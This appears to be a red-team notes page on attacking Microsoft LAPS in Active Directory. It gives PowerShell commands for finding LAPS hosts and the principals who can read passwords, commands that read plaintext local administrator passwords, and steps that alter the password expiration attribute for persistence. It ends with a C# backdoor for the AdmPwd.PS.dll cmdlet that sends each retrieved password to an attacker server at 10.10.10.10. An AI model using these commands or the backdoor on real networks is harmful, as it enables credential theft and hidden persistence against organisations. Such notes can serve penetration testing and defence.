# LAPS

LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule.

1. The Active Directory schema is extended and adds two new properties to computer objects, called `ms-Mcs-AdmPwd` and `ms-Mcs-AdmPwdExpirationTime`.
2. By default, the DACL on `ms-Mcs-AdmPwd` only grants read access to Domain Admins but each computer object is given permission to update these properties on itself
3. Rights to read `AdmPwd` can be delegated to other principals (users, groups etc), which is typically done at the OU level
4. A new GPO template is installed, which is used to deploy the LAPS configuration to machines to apply different policies to different OUs
5. The LAPS client is also installed on every machine
6. When a machine performs a `gpupdate`, it will check the `AdmPwdExpirationTime` property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the `ms-Mcs-AdmPwd` property.

LAPS' presence can be enumerated from BloodHound by looking at the GPOs in place or, if we have access to a host, we can check if `C:\Program Files\LAPS\CSE\AdmPwd.dll` is on disk. Just like from BloodHound, we can look for the needed GPOs from powershell

```powershell
PS C:\users\otter\desktop> Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
```

or query the `ms-Mcs-AdmPwdExpirationTime` attribute in the domain to get a list of the hosts LAPS is enabled on

```powershell
PS C:\users\otter\desktop> Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostName
```

Seatbelt can also detect LAPS with

```
PS C:\users\otter\desktop> Seatbelt.exe -group=system
```

If we find the right GPO for it and can access the file we can get more information about the password that gets generated by the policy by parsing it with [GPRegistryPolicyParser](https://github.com/PowerShell/GPRegistryPolicyParser)

```
PS C:\users\otter\desktop> ls \\domain.com\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
          dir     08/16/2022 12:39:19   Applications
          dir     09/13/2022 15:38:58   Microsoft
          dir     08/16/2022 12:23:37   Preferences
          dir     08/16/2022 12:21:04   Scripts
 575b     fil     08/16/2022 12:22:23   comment.cmtx
 920b     fil     08/16/2022 12:22:23   Registry.pol

PS C:\users\otter\desktop> Parse-PolFile .\Registry.pol
```

This gives us information about the password complexity, minimum and maximum length, lifetime, the name of the account that is being managed by LAPS and whether password expiration protection is enabled or not.

BloodHound has a query to detect the [`ReadLAPSPassword`](https://support.bloodhoundenterprise.io/hc/en-us/articles/17322396061979-ReadLAPSPassword) privilege which does a good job at detecting users that can read the LAPS password on the hosts that have it enabled on LAPS (LAPS1) but (at the time of writing) doesn't detect the privilege for LAPS2.

{% hint style="danger" %}
Since reading the plaintext password is just a LDAP query and doesn't involve any other resource it's a relatively low-risk action; if we are dealing with LAPS2 and have no way to enumerate whether a user can read the password or not we can just try to read it and see if we get a plaintext value back.
{% endhint %}

***

To read a plaintext password from LAPS we can use

```powershell
PS C:\users\otter\desktop> Get-LapsADPassword -Identity <HOSTNAME> -AsPlainText
ComputerName        : <HOSTNAME>
DistinguishedName   : CN=<HOSTNAME>,OU=Servers,DC=domain,DC=com
Account             : Administrator
Password            : <PLAINTEXT_PASSWORD>
PasswordUpdateTime  : 12/24/2023 5:57:53 AM
ExpirationTimestamp : 1/23/2024 5:57:53 AM
Source              : EncryptedPassword
DecryptionStatus    : Success
AuthorizedDecryptor : DOMAIN\<GROUP_THAT_CAN_READ_PASSWORD>
```

To discover which principals are allowed to read the `ms-Mcs-AdmPwd` attribute we can check the DACL on each computer onbject

```powershell
PS C:\users\otter\desktop> Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier

ObjectDN                                                      SecurityIdentifier                          
--------                                                      ------------------                          
CN=WKSTN-2,OU=Workstations,DC=DC,DC=domain,DC=com         S-1-5-21-569305411-121244042-2357301523-1107
CN=WEB,OU=Web Servers,OU=Servers,DC=DC,DC=domain,DC=com   S-1-5-21-569305411-121244042-2357301523-1108
CN=SQL-2,OU=SQL Servers,OU=Servers,DC=DC,DC=domain,DC=com S-1-5-21-569305411-121244042-2357301523-1108
CN=WKSTN-1,OU=Workstations,DC=DC,DC=domain,DC=com         S-1-5-21-569305411-121244042-2357301523-1107

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107
DOMAIN\Developers

PS C:\users\otter\desktop> ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1108
DOMAIN\Support Engineers
```

Another great tool is [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) which can be used to find delegated LAPS read access

```powershell
# query each OU to find domain groups that have delegated read access
PS C:\users\otter\desktop> Find-LAPSDelegatedGroups

# query each computer for users with All Extended Rights
# this also reveals users that can read the password without having any delegated rights
PS C:\users\otter\desktop> Find-AdmPwdExtendedRights
```

***

LAPS has a `PwdExpirationProtectionEnabled` configuration setting that we can also read from the `Registry.pol` file: when enabled, this policy prevents a user or computer setting the expiration date of a password beyond the password age specified in the `PasswordAgeDays` setting (which we can also read in the policy file).

{% hint style="info" %}
If the policy setting is left "not configured" in the GPO, then password expiration protection is disabled by default.
{% endhint %}

If we compromise a host using its LAPS password, we are able to change the current password's expiration date as a persistence mechanism.

```powershell
PS C:\users\otter\desktop> Get-DomainComputer -Identity <HOSTNAME> -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

ms-mcs-admpwdexpirationtime ms-mcs-admpwd 
--------------------------- ------------- 
         133101494718702551 1N3FyjJR5L18za
```

Mind that the timestamp is in EPOC format (we can convert it [here](https://www.epochconverter.com/ldap)) so we'll need to specify the new expiration date in the right format as well

```powershell
PS C:\users\otter\desktop> Set-DomainObject -Identity <HOSTNAME> -Set @{'ms-Mcs-AdmPwdExpirationTime' = '<TIMESTAMP>'} -Verbose
```

{% hint style="danger" %}
The newly-set expiration date will still be visible to the admins and a manual password reset will also restore the previous expiration date.
{% endhint %}

***

For persistence's sake we could backdoor LAPS to quickly get access to the current password even after the refresh.

One idea is to modify the code of the `Get-AdmPwdPassword` cmdlet which we can find at `C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS`. To do this we can download the `AdmPwd.PS.dll` and `AdmPwd.Utils.dll` files and use a tool like `dnSpy` to modify their contents.

A thing we can do is make the cmdlet send the cleartext LAPS password to our server, of course this is really bad OPSEC since everyone can see a normal HTTP GET request but we can get more creative and can use [this](https://github.com/GreyCorbel/admpwd) repo to get the original `AdmPws.PS.dll` source code.

```cs
using System.Net;

// ...

using (var client = new WebClient())
{
    client.BaseAddress = "http://10.10.10.10";

    try
    {
        client.DownloadString($"?computer={passwordInfo.Computername}&pass={passwordInfo.Password}");
    }
    catch 
    {
        // pass
    }
}
```

{% hint style="danger" %}
Of course changing the contents of this file also changes its signature which can easily be detected.
{% endhint %}

Now if we execute the cmdlet we should get a hit on our server

```powershell
Get-AdmPwdPassword -ComputerName <HOSTNAME> | fl
```
